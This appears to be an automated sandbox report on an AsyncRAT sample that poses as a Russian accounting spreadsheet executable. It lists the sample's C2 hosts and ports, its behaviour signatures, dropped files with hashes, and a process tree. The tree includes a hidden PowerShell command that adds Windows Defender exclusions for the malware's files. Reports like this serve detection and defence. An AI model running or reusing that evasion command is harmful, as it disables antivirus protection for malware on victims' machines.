Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    29/07/2026, 15:14

General

  • Target
    Расчетная таблица бухгалтерского отдела_xlsx.exe
  • Size 515KB
  • Sample260729-sme1eaam21
  • SHA256 ff3f577ca21b60efc5be62dc7b4dd0fd4f3c849be4cd3865172fa9064787d04e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • asyncrat

Botnet
  • AA

C2
  • yoindje.shop:8848

  • yoindje.shop:12159

Mutex
  • aa

Attributes
  • delay

    1

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • Family: AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Расчетная таблица бухгалтерского отдела_xlsx.exe
    "C:\Users\Admin\AppData\Local\Temp\Расчетная таблица бухгалтерского отдела_xlsx.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3576
    • C:\Users\Admin\resources\psl.exe
      "C:\Users\Admin\resources\psl.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5064
      • C:\pmrun\wermgr.exe
        "C:\pmrun\wermgr.exe"
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        PID:5752
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\pmrun' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\pmrun\psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\Users\Admin\resources\libpsl-5.dll' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'wermgr.exe' -ErrorAction SilentlyContinue"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4872
  • C:\pmrun\wermgr.exe
    "C:\pmrun\wermgr.exe"
    1⤵
    • Executes dropped EXE
    PID:5060
  • C:\pmrun\psl.exe
    "C:\pmrun\psl.exe" --background
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3504
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NonInteractive -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\pmrun' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\pmrun\psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionPath 'C:\pmrun\libpsl-5.dll' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'psl.exe' -ErrorAction SilentlyContinue;Add-MpPreference -ExclusionProcess 'wermgr.exe' -ErrorAction SilentlyContinue"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3952

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_mma5qbgc.0wc.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mma5qbgc.0wc.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        libpsl-5.dll

        • Path C:\Users\Admin\resources\libpsl-5.dll
        • Size 62KB
        • SHA256 5906ec480482d9d37c7d25178c793a258405159235178ceebf791847825f7f3a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        psl.exe

        • Path C:\Users\Admin\resources\psl.exe
        • Size 64KB
        • SHA256 42cf3ddd2a27abb87a41369bcecd4243434f741f4c5abf58dc68c33e5728044a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        wermgr.exe

        • Path C:\Users\Admin\resources\wermgr.exe
        • Size 58KB
        • SHA256 9133d3ef58153b05edfef6ba65206b88c0cf831dcc42f52a9e81571916a9e786
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3504-108-0x000001CE76590000-0x000001CE765A4000-memory.dmp

        memory/3504-57-0x00007FF7BDA70000-0x00007FF7BDA85000-memory.dmp

        memory/3504-58-0x00007FFEFC1D0000-0x00007FFEFC1E6000-memory.dmp

        memory/3952-53-0x000001C46B6C0000-0x000001C46B7B0000-memory.dmp

        memory/4872-32-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-43-0x000001F966F00000-0x000001F966F0A000-memory.dmp

        memory/4872-27-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-28-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-29-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-30-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-17-0x00007FFEE529F000-0x00007FFEE52A0000-memory.dmp

        memory/4872-25-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-34-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-35-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-39-0x000001F966C10000-0x000001F966C2E000-memory.dmp

        memory/4872-40-0x000001F966C30000-0x000001F966CE2000-memory.dmp

        memory/4872-41-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-26-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-24-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-49-0x000001F967180000-0x000001F967270000-memory.dmp

        memory/4872-50-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-23-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-22-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-18-0x00007FFEE5110000-0x00007FFEE5AB4000-memory.dmp

        memory/4872-21-0x000001F966A50000-0x000001F966A72000-memory.dmp

        memory/5060-33-0x00007FF766190000-0x00007FF7661A3000-memory.dmp

        memory/5064-54-0x00007FF65E650000-0x00007FF65E665000-memory.dmp

        memory/5064-55-0x00007FFEFC340000-0x00007FFEFC356000-memory.dmp

        memory/5752-56-0x00007FF766190000-0x00007FF7661A3000-memory.dmp